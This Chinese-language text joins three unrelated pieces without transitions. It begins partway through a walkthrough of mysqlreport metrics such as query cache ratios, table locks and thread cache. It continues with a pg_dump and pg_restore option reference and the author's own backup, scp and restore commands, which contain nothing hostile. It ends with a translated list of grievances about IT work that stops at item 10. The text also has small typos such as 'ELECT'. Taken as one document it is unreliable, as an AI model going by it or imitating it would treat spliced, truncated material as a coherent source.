Read ratio: Line 7
Read Ratio 比 Write Ratio 来得重要一些,它标示了 MySQL 从硬盘读取索引与从 RAM 读取索引的比值(Read Ratio = MySQL 从硬盘读取索引的次数 / MySQL 从 RAM 读取索引的次数)。Read Ratio 的值应该要是 0.00 或 0.01,若大於这个值则表示 Server 有问题需要进一步的调查,通常此问题的成因是 Share Key Buffer 设得太小造成 MySQL 需要不断地从硬盘中读取所需要的索引资讯,而这个动作是十分没有效率的并且完全抵消了使用索引可以带来的好处。在 Server 刚啟动的头一个小时 Read Ratio 很常会出现大於 0.01 的数值,但 Server 执行过一阵子后它应该(也必须)降低至 0.01 或是 0.00。
Questions Report: Lines 9 - 26
第二个主要的报表区块,Questions,是第二重要的资讯,因为它可以告诉你 MySQL 到底都在忙些什么事情。Questions 包含了 SQL queries 以及 MySQL protocol communications。大部份的人都只在意 Server 每秒可以处理多少查询(Queries Per Second, QPS),但若以整个 Server 的观点来考量,QPS 其实是非常不精确的数值,它无法有效的告诉您 Server 的整体运作状况。而 Questions 则提供了较完整的资讯,让您一窥 Server 的全貌。
Total: Line 10
第一个栏位单纯的记载 MySQL 总共回应过多少查询,第二个栏位则记录回应的频率(QPS),当大部份的人说『我的 Server 平均每秒处理 XXX 个查询』时,他们指的其实就是第二个栏位所记录的回应频率。此时你应该要反问他们『在那 XXX 个查询之中,MySQL 到底做了哪些事情?』,接下来 mysqlreport 将可以协助您回答此问题......。
Distribution of Total Queries (DTQ): Lines 11 - 15
所有的 Questions 可以大致区分为五个不同的类别:
1.Data Manipulation Statements (DMS)
2.query cache hits (QC Hits)
3.COM_QUIT
4.all other Com_ commands
5.Unknown
这五个类别将会展示在 Lines 11 至 15,但它们的顺序是会改变的。mysqlreport 预设是以查询的总数(第一个栏位)来排序,次数越多排得越上面,让您可以快速的分辨出 MySQL 大部份时间都在忙些什么东西。理想的情况下,你会希望 MySQL 把大部份的时间都花在 DMS 与 QC Hits 这两个类别,因为这两个类别才是真正在 "完成正事" 的类别。COM_QUIT、Com_、与 Unknown 也有其存在的必要,但它们应该只佔了其中的一小部份。在继续深入介绍之前,也许你会好奇第三个栏位是做什么用的,它代表了该分类(例如 DMS)佔全部 Queries 的百分比;若是在子分类(例如 Select)中,则表示该子分类佔所属分类(例如 DMS)的百分比。在此范例中 DMS 佔了所有 Queries 的 82.84%,这是一个很好的现象。
Data manipulation statements(DMS) 包含了:ELECT, INSERT, REPLACE, UPDATE, 与 DELETE(技术上来说,其实不只这几个类别但 mysqlreport 只会用到这几类)。基本上,你可以将 DMS 想成是 MySQL 真正有在做些 "有用的事" 的情况,因此你会希望 DMS 是 MySQL 最忙著处理的事情。
QC Hits 是 MySQL 不需要实际执行 Query 而只要直接从 Query Cache 中即可找到所需资料的次数。拥有高比例的 QC Hits 是让人梦寐以求的事,因为从 Query Cache 直接存取所需要的资料是十分快速且有效率的。然而大部份的 MySQL Server 因为各种原因,而无法具有非常有效率的 Query Cache。在本范例中 QC Hits 佔了所有 Questions 的 16.91%,这是非常好的情况。然而,千万不要被这个数值给误导了,在报表中的 38 至 45 行(Query Cache Report)将会告诉您完全不同的状况。这是一个很好的范例,展示了 mysqlreport 可以做为深入、相互参照与比对的分析工具。当 QC Hits 看来似乎十分完美时,这个 Server 的 Qeury Cache Report 却可以明确的告诉您其实事情没有表面上看起来的那样完美,我们在稍后会在回到这个问题。
COM_QUIT 算是比较不重要的类别,若您不是真的很有兴趣其实您大可忽略这个类别的内容。
COM_ 这个类别代表著所有 MySQL 所执行过的指令,通常与 MySQL protocol 相关。在正常的情况下,你会希望这个类别所佔的比例越低越好,因为当这个数值很高的时候就表示 MySQL 正忙碌於无关紧要的事情上。若这个数值很高通常代表 MySQL 正遭遇到某些很奇怪的问题,当我们深入讨论 COM_ 的子类别的时候,我们会在回来探讨这个问题。
Unknown 是推论出来的类别,在理想的状况下,之前所述的四个分类加总起来应该要等於 Questions 总数,但它们通常不会刚好等於。这是因为有些 Questions MySQL 在处理时会增加 Total Questions 的计数器,但却没有相对应的系统变数用来记录所执行过的 Questions。在不同的 Server 上这个数值的变异很大,在有些 Server 上这个数值非常的高,在有些 Server 上则非常的低,但在大部份的情况下它应该要维持在很低的水準才是。如果这个数值非常的高,可能代表 MySQL Server 有什么地方出了问题。
Slow: Line 16
第 16 行非常的重要:它记录了 MySQL 总共执行了多少次 Slow Query。Slow Query 就是指执行所需时间超过某个时间区间的 Query,例如执行超过 10 秒的 Query。用来判定是否为 Slow Query 的时间区间是可以透过 long_query_time 这个系统变数来设定的,MySQL 预设 long_query_time 为 10 秒,但通常我们会将它设定为 5 秒。在最理想的情况下,我们会希望看到这个数值等於零,但通常这数值不会是零。一般来说 Slow Query 佔 Total Questions 的比例应该要低於 0.05,Slow Query 的次数(第一个栏位)本身不是很重要,真正需要注意的是 Slow Query 佔 Total Questions 的比例,若这比例偏高就代表 Server 有些问题需要解决。第四个栏位中的『%DMS: 』表示 Slow Query 在所有 DMS 中所佔的比例。
DMS: Lines 17 - 22
DMS 的子分类项目可以告诉我们,这台 MySQL Server 是属於哪一个类型的 MySQL Server,例如它是著重在 SELECT 操作或是 INSERT 操作,大部份的 MySQL Server 都是著重在 SELECT 操作。知道某台 Server 是属於哪一个类型的 MySQL Server 有助於我们思考报表中的其他资讯,例如一台著重在 SELECT 操作的 MySQL Server 的 Write Ratio 应该会非常的接近 1,并有著较高的 Lock 时间。同时它也隐含了一个意义,就是也许你可以考虑使用 InnoDB Storage Engine,因为 MySQL 预设採用的 MyISAM Storage Engine 所提供的 Lock 层级只有 Table Lock(只能针对整个资料表锁定),而 InnoDB 则提供 Row Lock 层级的锁定机制(可只针对特定的 ROW 进行锁定,减少等待时间)。若是著重在 SELECT 操作的 Server,它的 Read Ratio 应该会接近於零,并有著非常低的 Table Lock 时间。
在范例中的 Server 是属於著重在 SELECT 操作的 Server:65.72% 的 Questions 是 SELECT(第三个栏位)、79.33% 的 DMS Questions 是 SELECT(第四个栏位)。很明显的,这是台著重在 SELECT 操作的 Server,知道了此项事实之后,我们才有办法对其进行最佳化。
Com_: Lines 23 - 26
这个子分类只有在它的值偏高的时候才需要注意,因为过高的值表示 MySQL 正在忙著处理 "程序方面的东西",而不是回应使用者的查询。对大部份的 Server 来说这里应该都不会出现偏高的数值,但您最好还是定期的检查一下。
SELECT and Sort Report: Lines 28 - 36
大致上来说,你只要注意第 29 行与第 31 行:Scan 与 Full Join。Scan 指的是有多少 SELECT statements 造成 MySQL 需要进行 Full Table Scan。Full Join 的意思与 Scan 差不多,但它是适用在多个 Tables 相互 Join 在一起的情况。这二种情况的执行性能都非常的差,因此原则上你会希望这两个数值越低越好。但这也不是绝对的,仍然要考虑实际的情况,例如虽然 Server 有很高比例的 Scan,但若这些 Scan 都是针对一些只有几十笔资料的 table,那么相对而言它依然是十分有效率的;但反之,若这些 Scan 是针对具有上百万笔资料的 table,那么就会严重影响系统性能。
Query Cache Report: Lines 38 - 45
Query Cache Report 只有在 MySQL 有支援 Query Cache,以及 Query Cache 功能有开啟的情况下才会有这段资讯出现。
Memory usage: Line 39
此项目指出 Query Cache 的使用状况,若系统已达到 Query Cache 的上限则会连带影响到 Prunes Value,因为当配给的 Memory 不足时,MySQL 必须不断地消除 RAM 中较不常使用的资料以挪出空间摆放新的资料。
Block Fragmnt: Line 40
这个数值越高表示 Query Cache 的 Fragment 状况越严重,通常它会界於 10%~20% 之间。在此范例中 Block Fragmnt 为 13.05%,这是可接受的情况,当然你也可以调整 query_cache_min_res_unit 的值来降低 Block Fragmnt。
Hits, Inserts, Prunes: Lines 41 - 43
Hits 是这三个数值中最重要的一项,因为它指出有多少 SELECT statements 是可直接从 Query Cache 里面取得所需的资讯,此数值越高就越好。Inserts 和 Prunes 最好是从第 44 行的比值来观察比较容易理解。虽然 Prunes 的值偏高可能代表著 Query Cache 设得不够大,但并不一定是如此。在本例中只有 55% 的 Query Cache 被使用,有著相对而言算低的 fragmentation 值,但 Prunes 值偏高,Prunes 的值(16/s)是 QC Hits 的两倍。你可以想像这台 Server 的 Query Cache 是一颗苹果树,它的树枝被剪去的速度比你採收苹果的速度还快。
Insrtrune and Hit:Insert Ratios: Lines 44 - 45
第 44 行中的 Insert 与 Prune 的比值可显示 Query Cache 的挥发性。在一个高度稳定的 Query Cache 中,Insrt 的值应该要高於 Prune 的值;反之,在一个挥发性较高(较不稳定)的 Query Cache 中,这个比值将会是 1:1 或是偏重在 Prune 那方,这表示 Query Cache 中的资料有可能在使用到之前就已经被清除了。我们会希望拥有一个稳定的 Query Cache,因为稳定的 Query Cache 表示那些被 Cache 在 Query Cache 中的资料会常被用到。高挥发性(较不稳定)的 Query Cache 代表两件事情:第一,Query Cache 设得太小,需要加大。第二,MySQL 正试图要 cache 所有的东西,甚至是那些其实并不需要 cache 的资料。若是第一种状况,只要单纯的加大 Query Cache 即可。若是第二种情况,可能是 MySQL 试图要去 cache 所有可以 cache 的资料,你可以使用 SQL_NO_CACHE 来明确的告诉 MySQL 什么资料是你不想要 cache 的。
Hit 与 Insert 的比值代表著 Query Cache 的有效性,理想的情况是我们新增了一些 Qeury 到 Query Cache 中,然后希望得到许多 Hits。因此若是这个 Query Cache 是有效率的,那么该比值应该要偏重在左方。若比值是偏重在 Insert 那方,那么这个 Query Cache 的挥发性就太高了。考虑以下这个比值,若 Hit:Insert 为 1:1,那就表示 Query Cache 中的资料只使用了一次就被清除掉了,换句话说,我们放进去的资料比我们从里面拿出来的资料还多,这样一来就失去了使用 Query Cache 的意义。回想我们前面所提过的,虽然在本范例中 QC Hit 在全部的 Questions 中佔了很高的比例,但实际上我们可以发现 QC 的有效性其实是很低的(Hit:Insert 的比值偏重在 Insert 那方)。若造成这个现象的原因是 MySQL 正试图 cache 所有的东西,那么将 Cache 模式改为 DEMAND 或许可以解决此问题。
Table Locks Report: Lines 47 - 49
这个部份包含了两项资讯:第一项是 Waited,代表 MySQL 需要等待以取得 table lock 的次数。第二项是 Immediate,表示 MySQL 不需要等待即可立刻取得 table lock 的次数。对资料库来说『等待』几乎可以肯定是一件很不好的事情,因此 Waited 的值应该要越小越好。最具有代表性的是第三个栏位(Waited 佔所有 table lock 的百分比),这个数值应该要小於 10%,大於这个值就表示 table/query 的索引设计不良或是有过多的 Slow Query。
Tables Report: Lines 51 - 53
Tables Report 同样包含了二项资讯:第一是 Open,显示目前正开啟的 table 数量、总共可开啟的最大数量,以及 Table Cache 的使用状况。第二是 Opend,表示截至目前为止 MySQL 总共开啟过的 Table 数量,以及除上 Uptime 后的比值。这里有两件事值得注意:首先是 Table Cache 的使用状况,100% 的 Table Cache 使用率并不是一件坏事但你可以试著调大 Table Cache 以增进性能。第二是 MySQL 开啟 Table 的平均速率,若这个值很高则表示您的 table_cache 设得太小了,需要调大一些。一般来说,MySQL 开啟 Table 的平均速率最好是小於 1/s。但大於这个数值也不一定就是坏事,有些调校良好且运作的十分有效率的 MySQL Server 其值为 7/s 并使用了 100% 的 Table Cache。
Connections Report: Lines 55 - 57
Connections Report 所代表的意义与 Tables Report 相似,请各位以此类推。比较需要注意的是:若你发现 Connections 的使用率接近 100%,也许你会想调大 max_connections 的值以允许 MySQL 的 Client 建立更多连线。然而,这通常是一种错误。我们常常可以发现很多网路上的资料会教我们要调大 max_connections,但却从来没有给一个明确的理由。事实上,max_connections 的预设值(100),就算是对於负载十分沉重但有良好调校过的 Server 都已十分足够。MySQL 对於单一连线的资料处理通常只需要零点几秒的时间即可完成,就算是最大只能使用 100 个连线也够让你用上很长一段时间。若是您的 Server 有著非常高的最大连线数(max connections)或是单一连线需要很长时间才可完成,那么问题八成不是 max_connections 的值不够大而是在别的地方,例如 slow queries、索引设计不良、甚至是过於缓慢的 DNS 解析。在您将 max_connections 的值调到 100 以上之前,您应该要先确定真的是因为 Server 过於忙碌而需要调高此数值,而不是其他地方出了问题。每秒平均连线数有可能会很高,事实上,若这个值很高而且 Server 的运作十分顺畅,那么这通常会是一个好现象,无需担心。大部份 Server 的每秒平均连线数应该都会低於 5/s。
Created Temp Report: Lines 59 - 62
MySQL 可以建立暂时性的资料表,它可建立在硬盘中、档案里、或是 RAM 之中,而 Created Temp Report 则提供了相关的数据供您参考。这些数据大多是相对而言,没有一定的标準,但将暂时性的资料表建立在硬盘中是十分没有效率的,因此 Disk table 的值最好是三者中最小的一个。当暂时性的资料表被建立在硬盘中,表示此资料表没有办法被放进 RAM 里面(因为 tmp_table_size 的值设得不够大)。
Threads, Aborted, Bytes Reports: Lines 64 - 76
这几个部份大多没什么好解释的,只有一个项目值得特别说明:第 66 行的最后一个栏位(%Hit)。每一个连接到 MySQL 的连线都是由不同的 Thread 来处理,当 MySQL 啟动时会预先建立一些 Threads 并保留在 Thread Cache 中,如此一来 MySQL 就不用一直忙著建立与删除 Threads。但当每秒最大连线数大於 MySQL 的 Thread Cache 时,MySQL 就会进入 Thread Thrash 的状态:它不断地建立新的 Threads 以满足不断增加的连线的需求。当 Thread Thrash 发生时,%Hit 的数值就会降低。在本范例中 %Hit 的值为 0.05%,这是非常不好的,因为它表示几乎每一个新进来的连线都会造成 MySQL 建立新的 Thread。我们可以看到在此范例中造成此现象的原凶就在第 66 行的第一个栏位,我们可以发现 Thread Cache 的值为 0,因此 thread_cache_size 的值需要调大。
话说回来,究竟 %Hit 接近於零真的有什么关係吗?Jeremy Zawondy 曾在部落格上说到:Thread caching 并不是我们最需要关心的问题,但当你解决了所有其他更严重的问题之后,它就会是最严重的问题。(hread caching really wasn't the worst of our problems. But it became the worst after we had fixed all the bigger ones.)
备份还原方法:pg_dump和pg_restore,先仔细说明这两个命令,再记录我的操作方法。
pg_dump -- 将一个PostgreSQL数据库抽出到一个脚本文件或者其它归档文件中
pg_dump [option...] [dbname]
选项option...
下面的命令行参数控制输出的内容和格式。
dbname
声明将要转储的数据库名。 如果没有声明这个参数,那么使用环境变量 PGDATABASE。 如果那个环境变量也没声明,那么用发起连接的用户名。
-a
--data-only
只输出数据,不输出模式(数据定义)。
这个选项只是对纯文本格式有意义。对于归档格式,你可以在调用 pg_restore 的时候声明选项。
-b
--blobs
在转储中包含大对象。必须选择一种非文本输出格式。
-c
--clean
输出在创建数据库创建命令之前先清理(删除)该数据库对象的命令。
这个选项只是对纯文本格式有意义。对于归档格式,你可以在调用 pg_restore 的时候声明选项。
-C
--create
以一条创建该数据库本身并且与这个数据库联接等命令开头进行输出。 (如果是这种形式的脚本,那么你在运行脚本之前和哪个数据库联接就不重要了。)
这个选项只对纯文本格式有意义。对于归档格式,你可以在调用 pg_restore 的时候声明该选项。
-d
--inserts
将数据输出为的INSERT命令(而不是 COPY)。 这样会导致恢复非常缓慢。 这个选项主要用于制作那种可以用于其它非 PostgreSQL 数据库的转储。 请注意,如果你重新排列了字段顺序,那么恢复可能会完全失败。 -D 更安全,但是也更慢。
-D
--column-inserts
--attribute-inserts
把数据转储为带有明确字段名的 INSERT 命令。 (INSERT INTO table(column, ...) VALUES ...)。 这样会导致恢复非常缓慢,它主要用于制作那种可以用于其它非 PostgreSQL 数据库的转储。
-f file
--file=file
把输出发往指定的文件。如果忽略这些,则使用标准输出。
-F format
--format=format
选择输出的格式。format可以是下列之一:
p
输出纯文本SQL脚本文件(缺省)
t
输出适合输入到 pg_restore 里的tar归档文件。 使用这个归档允许在恢复数据库时重新排序和/或把数据库对象排除在外。 同时也可能可以在恢复的时候限制对哪些数据进行恢复。
c
输出适于给 pg_restore 用的客户化归档。 这是最灵活的格式,它允许对装载的数据和对象定义进行重新排列。 这个格式缺省的时候是压缩的。
-i
--ignore-version
忽略在 pg_dump 和数据库服务器之间的版本差别。
pg_dump 可以处理来自以前版本的PostgreSQL 的数据库,但是太老的版本则不被支持了(目前是支持到 7.0)。 如果你需要跨越版本检查时才使用这个选项( 而且如 pg_dump 失效,别说我没警告你)。
-n namespace
--schema=schema
只转储 schema 的内容。 如果没有声明这个选项,所有目标数据库中的非系统模式都会被转储出来。
注意: 在这个模式里,pg_dump 并不试图转储任何其它选定模式可能依赖的数据库对象。 因此,系统不保证单一的一个模式的转储就可以成功地恢复到一个干净的数据库中去。
-o
--oids
作为数据的一部分,为每个表都输出对象标识(OID)。 如果你的应用在某种程度上引用了OID字段的话,(比如,在外键约束中用到)。 那么使用这个选项。否则,不应该使用这个选项。
-O
--no-owner
不 把对象的所有权设置为对应源数据库。 通常, pg_dump 发出(psql特有的) ALTER OWNER 或者 SET SESSION AUTHORIZATION 语句以设置创建的数据库对象的所有权。 又见 -R 和 -X use-set-session-authorization 选项。 请注意 -O 并不防止所有对数据库的重新联接, 只是防止那些为调整权限进行的排它联接。
这个选项只是对纯文本格式有意义。对于归档格式,在你调用 pg_restore 的时候你可以声明该选项。
-R
--no-reconnect
这个选项已经过时,但是出于向下兼容的考虑,仍然接受这个选项。
-s
--schema-only
只输出对象定义(模式),不输出数据。
-S username
--superuser=username
声明关闭触发器时需要用到的超级用户名。 它只有使用了 --disable-triggers 的时候才有关系。 (通常,我们最好不要输入这个参数,而是用超级用户启动生成的脚本。)
-t table
--table=table
只输出表 table的数据。 很可能是在不同模式里面有多个同名表;如果这样,那么所有匹配的表都将被转储出来。 同时声明 --schema 和 --table 则只选择一个表。
注意: 在这个模式里,pg_dump 并不试图转储任何其它选定表可能依赖的数据库对象。 因此,系统不保证单一的一个表的转储就可以成功地恢复到一个干净的数据库中去。
-v
--verbose
声明冗余模式。 这样将令 pg_dump 输出详细的对象评注以及转储文件的启停时间和进度信息到标准输出上。
-x
--no-privileges
--no-acl
避免输出 ACL(赋予/撤消 命令)和表的所有者关系信息。
-X disable-dollar-quoting
--disable-dollar-quoting
这个选项关闭使用美元符包围函数体。强制它们用 SQL 标准的字串语法的引号包围。
-X disable-triggers
--disable-triggers
这个选项只是和创建仅有数据的转储相关。它告诉 pg_dump 包含在恢复数据时,临时关闭目标表上面的触发器的命令。 如果你在表上有参考完整性检查或者其它触发器,而恢复数据的时候你不想重载他们,那么你就应该使用这个选项。
目前,为 --disable-triggers 发出的命令必须用超级用户来做。 因此,你应该同时用 -S 声明一个超级用户名,或者最好是用一个超级用户的身份来启动这个生成的脚本。
这个选项只对纯文本格式有意义。对于归档格式,你可以在调用 pg_restore 的时候声明这个选项。
-X use-set-session-authorization
--use-set-session-authorization
输出 SQL 标准 SET SESSION AUTHORIZATION 命令而不是 OWNER TO 命令。 这样的转储结果更加复合标准,但是依赖转储中的对象的历史,可能不能正确恢复。
-Z 0..9
--compress=0..9
声明在那些支持压缩的格式中使用的压缩级别。 (目前只有客户化格式支持压缩)。
下面的命令行参数控制数据库为联接参数。
-h host
--host=host
声明运行服务器的机器的主机名。 如果数值以斜杠开头,则它被用做到 Unix 域套接字的路径。 缺省是从 PGHOST 环境变量中取得的,如果设置了这个环境变量的话,否则,尝试一个 Unix 域套接字连接。
-p port
--port=port
声明服务器正在侦听并等待联接的 TCP 端口或本地 Unix 主控套接字文件句柄。 缺省时使用环境变量 PGPORT 的值(如果存在),或者是编译时的缺省值。
-U username
以给出用户身分联接。
-W
强制口令提示。如果服务器需要口令认证,那么这个动作应该自动发生。
pg_restore -- 从一个由 pg_dump 创建的备份文件中恢复 PostgreSQL 数据库。
pg_restore 接受下列命令行参数。
filename
声明要恢复的备份文件的位置。如果没有声明,则使用标准输入。
-a
--data-only
只恢复数据,而不恢复表模式(数据定义)。
-c
--clean
创建数据库对象前先清理(删除)它们。
-C
--create
在恢复数据库之前先创建它。(如果出现了这个选项,和 -d 在一起的数据库名只是用于发出最初的CREATE DATABASE命令。 所有数据都恢复到名字出现在归档中的数据库中去。)
-d dbname
--dbname=dbname
与数据库 dbname 联接并且直接恢复到该数据库中。
-e
--exit-on-error
如果在向数据库发送 SQL 命令的时候碰到错误,则退出。 缺省是继续执行并且在恢复结束时显示一个错误计数。
-f filename
--file=filename
声明生成的脚本的输出文件,或者出现-l 选项时用于列表的文件,缺省是标准输出。
-F format
--format=format
声明备份文件的格式。因为pg_restore 会自动判断格式,所以如果声明了,它可以是下面之一:
t
备份是一个 tar 归档。 使用这个格式允许在恢复数据库的时候重新排序和/或把表模式元素排除出去。 同时还可能在恢复的时候限制装载的数据。
c
备份的格式是来自pg_dump的客户化格式。 这是最灵活的格式,因为它允许重新对数据排序,也允许重载表模式元素。 缺省时这个格式是压缩的。
-i
--ignore-version
忽略数据库版本检查。
-I index
--index=index
只恢复命名的索引。
-l
--list
列出备份的内容。这个操作的输出可以用 -L 选项限制和重排所恢复的项目。
-L list-file
--use-list=list-file
只恢复在 list-file 里面的元素,以它们在文件中出现的顺序。 你可以移动各个行并且也可以通过在行开头放 ';' 的方式注释。(见下文获取例子。)
-O
--no-owner
不 要输出设置对象的权限,以便与最初的数据库匹配的命令。 缺省时,pg_restore 发出 ALTER OWNER 或 SET SESSION AUTHORIZATION 语句设置创建出来的模式元素的所有者权限。 如果最初的数据库连接不是由超级用户(或者是拥有所有创建出来的对象的同一个用户)发起的,那么这些语句将失败。 使用 -O,那么任何用户都可以用于初始的连接,并且这个用户将拥有所有创建出来的对象。
-P function-name(argtype [, ...])
--function=function-name(argtype [, ...])
只恢复指定的命名函数。请注意仔细拼写函数名及其参数,应该和转储的内容列表中的完全一样。
-R
--no-reconnect
这个选项已经废弃了,但是为了保持向下兼容仍然接受。
-s
--schema-only
只恢复表结构(数据定义)。不恢复数据,序列值将重置。
-S username
--superuser=username
设置关闭触发器时声明超级用户的用户名。 只有在设置了 --disable-triggers 的时候才有用。
-t table
--table=table
只恢复表指定的表的定义和/或数据。
-T trigger
--trigger=trigger
只恢复指定的触发器。
-v
--verbose
声明冗余模式。
-x
--no-privileges
--no-acl
避免 ACL 的恢复(grant/revoke 命令)。
-X use-set-session-authorization
--use-set-session-authorization
输出 SQL 标准的 SET SESSION AUTHORIZATION 命令,而不是 OWNER TO 命令。 这样令转储与标准兼容的更好,但是根据转储中对象的历史,这个转储可能不能恰当地恢复。
-X disable-triggers
--disable-triggers
这个选项只有在执行仅恢复数据的时候才相关。它告诉 pg_restore 在装载数据的时候执行一些命令临时关闭在目标表上的触发器。 如果你在表上有完整性检查或者其它触发器, 而你又不希望在装载数据的时候激活它们,那么可以使用这个选项。
目 前,为 --disable-triggers 发出的命令必须以超级用户发出。 因此,你应该也要用 -S 声明一个超级用户名,或者更好是设置 --use-set-session-authorization 并且以 PostgreSQL 超级用户身份运行 pg_restore。
pg_restore 还接受下面的命令行参数做为联接参数:
-h host
--host=host
声明服务器运行的机器的主机名。 如果数值以斜杠开头,那么它被用做 Unix 域套接字的目录。 缺省是从 PGHOST 环境变量中获取的(如果设置了), 否则将尝试进行 Unix 域套接字。
-p port
--port=port
声明服务器侦听的 TCP 端口或者本地的 Unix 域套接字文件扩展。 缺省是环境变量 PGPORT 的值(如果设置了的话), 否则就说编译的缺省。
-U username
以给出用户身分联接。
-W
强制给出口令提示。如果服务器要求口令认证,那么这个应该自动发生。
理论说完了,有了上面的知识下面进行实战变得容易:
DBコッピ
/usr/local/pgsql/bin/pg_dump -Ft -b zhoz > /home/zhoz/db_zhoz_081121.tar
移動
scp -v /home/zhoz/db_zhoz_081121.tar zhoz@zhoz.com:/home/zhoz/
SCP也是新学到的,很强大!参数也收集了一下:
-v 和大多数linux命令中的-v意思一样,用来显示进度.可以用来查看连接,认证,或是配置错误.
-C 使能压缩选项.
-r 复制文件夹
-P 选择端口.注意-p已经被rcp使用.
-4 强行使用IPV4地址.
-6 强行使用IPV6地址.
エクスポート
/usr/local/pgsql/bin/pg_restore -d zhoz -U zhoz -W /home/zhoz/logs/db_zhoz_081121.tar
这里如果不指定-U会提示数据库不存在或导入非指定的库中,有危险性。
至此,打完收工!又掌握了一种实战技术。
「2009/06/23补充:」
pg_dumpall > outfile
生成的转储可以用 psql 恢复:
psql template1 < infile
(实际上,你可以声明任意现有的数据库进行连接,但是如果你是向一个空的数据库装载,那么 template1 是你唯一的选择。) 恢复pg_dumpall的转储的时候通常需要数据库超级用户权限,因为我们需要它来恢复用户和组信息。
处理大数据库
因为 PostgreSQL 允许表的大小大于你的系统允许的最大文件大小, 可能把表转储到一个文件会有问题,因为生成的文件很可能比你的系统允许的最大文件大。 因为 pg_dump 输出到标准输出,你可以用标准的 Unix 工具绕开这个问题:
使用压缩的转储. 使用你熟悉的压缩程序,比如说 gzip。
用下面命令恢复:
createdb dbname
gunzip -c filename.gz | psql dbname
或者
cat filename.gz | gunzip | psql dbname
split 命令允许你 你用下面的方法把输出分解成操作系统可以接受的大小。 比如,让每个块大小为 1 兆字节:
pg_dump dbname | split -b 1m - filename
用下面命令恢复:
createdb dbname
cat filename* | psql dbname
使 用客户化转储格式. 如果PostgreSQL是在一个安装了zlib 压缩库的系统上制作的,那么客户化转储格式将在写入输出文件的时候压缩数据。 它会生成和使用 gzip 类似大小的转储文件,但是还附加了一个优点:你可以有选择地恢复库中的表。 下面的命令用客户化转储格式转储一个数据库:
pg_dump -Fc dbname > filename
客户化格式的转储不是脚本,不能用于 psql, 而是需要使用 pg_restore 转储。 请参考 pg_dump 和 pg_restore 的手册获取细节。
备份:pg_dump -h localhost -p 5432 -U tradesns -W -F c -b -v -f "/home/tradeworkwangbin/us2010.backup" us2010
恢复:pg_restore -h 192.168.0.100 -p 5432 -U postgres -W -d us2011 -v "/root/us2010.backup"
注意
处于向下兼容的考虑,缺省的时候 pg_dump 并不转储大对象。 要转储大对象,你必须使用客户化或者 tar输出格式, 并且在 pg_dump 中使用-b选项。
1: 压力
千万不要相信IT很好做的鬼话。能拿到一个毫无压力的IT岗位这种情况少之又少。记住,IT就是灾难管理。一旦客户或用户打电话给你,几乎就是需要马上处置的紧急情况。且一旦你在做这些工作的时候,你最好任何事情都没有出错,因为出娄子的代价是一份合同或工作。更糟糕的是压力鲜见减轻的时候。日复一日,每一分每一秒,你干得越来越累,超出自己的意料。
2: 时间
如 果你想找一份周一至周五、朝九晚五的工作,到别处去找——IT似乎是一份7乘24小时全天候不间断的工作。跟其他一般职业相比,做IT的不单要在办公室呆 久一点,工作以外你还得拔高自己,以保证不被你后面那些家伙踩下去。还有一些人,他们虽不是你的客户或用户,却希望能免费利用你的知识让自己的电脑运转保 持顺畅。
3: 薪水
如 果你是独立承揽人,面临的其中一个最大的压力就是支付酬金。为了拿到报酬,我认得的顾问不得不施加威胁或聘请律师,这种情况数不胜数。而如果你是自由职业 者,要是人家不给你钱你就没饭吃。这种压力很沉重。你没有那种优势,每周或半周支票会定时给你送来。锤炼自己的人际交往技巧是尽可能保持好关系的关键。良 好的关系(即便是跟一些不那么好的人)有助于确保你最终拿到酬劳。(译注:看来美国人也有拖欠IT民工工资现象)
4: 人事
提出这一点实非我所愿。很久以前,我是那种充满朝气、乐观向上、人 见人爱、花见花开、车见爆胎的好青年。自从做了咨询顾问以后,却发现自己成了被利用的对象,干得多、挣得少、怀才不遇、未受赏识,诸如此类。这是一个咨询 顾问的战争,忍受着归隐山林、闲云野鹤这种甩手不干想法的煎熬。这并不是说人之初,性本恶。而是一旦你有了IT的光环,人们似乎就会对你另眼相看。同一个 躯体下,你既被视为救世主,又被当成原罪人,不堪重负。
5: 上级
面 对现实。没有多少个上级能理解你的工作。他们总认为你仅靠微薄成本、无需帮忙就能把一切搞定,他们还认为你可以去威胁用户,好像他们的人品都比你好。雪上 加霜的是,上级希望你能够神奇地让那些PC顶用十几年。对责任和技术的理解误区导致了一件事:让你的工作成为不可能完成的任务。一旦高层事无巨细地插足你 的部门管理,每一个不好的因素都会更加恶化。你了解自己的工作,你也知道自己了解自己的工作,但他们却不知道自己并不了解你的工作。如此一环扣一环,形成 压力传递的恶性循环。
6: 技术
你 有没有经历过那样的日子,一时间似乎所有技术都跟你作对,看起来就好像是殊方异类?这时候你是不是只想着收拾自己的一切用品、逃之夭夭了事? 这曾经是我不得不去处理的麻烦之一,既然我是在一家主要为Windows客户服务的咨询公司工作。有时候你能赢得战争,有时候你会输掉。但是胜利的日子总 会被失败的日子所淹没。
7: 竞争
有 一件事你可以肯定 — 总会有人比你更出色。但在IT这个行当里面,它不是1:1这样的比例。相反,似乎每一个你这样的人后面总是总是有一百个更聪慧、更敏捷、更优秀的人出现。 这种对比马上就会转化为收入差距。记住,IT的大势总是日新月异,如果你跟不上形势,你的饭碗是保不住的,也没人会雇你。我在这个行当待得越长,就越能意 识到这是年轻人的游戏。要足够敏捷、工作能打持久战......总而言之你得面面俱到。我并不是说我们这些老家伙就经不起来回折腾。我们也能。但我们每工 作一天,这个领域的竞争就累积多一点,这种竞争是残酷的。
8: 云端
每 次听见电视上的演员说“腾云驾雾”的时候,我就恨不得扯掉自己的头发然后一脚踹烂电视机。“云中雾里”,云已经成为IT的一个不断变化的概念之一,很有可 能今后也一直如此。到底什么是云?我该不该用它?云安不安全?云多少钱一斤?我不断为这些问题抓狂。通常客户问到我这些问题的时候,我就反问他们用没用过 谷歌文档(Google Docs),如果他们回答用过,我就告诉他们说他们已经用上云了。但这永远也不会令人满意的。客户和最终用户希望云能带来某种魔幻般的体验,能令其工作更 简单、更出色、更快速。除非他们了解真相。
9: 无序
毫 无疑问,如果某些规范能在整个IT范围得到应用的话,我们的生活会更美好。为了实现一组规范,许多开源项目已经竭尽所能,却只迎来被专利软件推翻的下场。 那些专利软件供应商就是不想公开自己的代码,不跟规范兼容,以便让自己的腰包越鼓越好。我理解这一点,真的。但是只要他们拒绝遵守规范,就会让最终用户和 IT专业人士每天都头疼无比。如果不能阻止专利软件供应商大发横财,遵守规范也就无从谈起。
10: 尊重
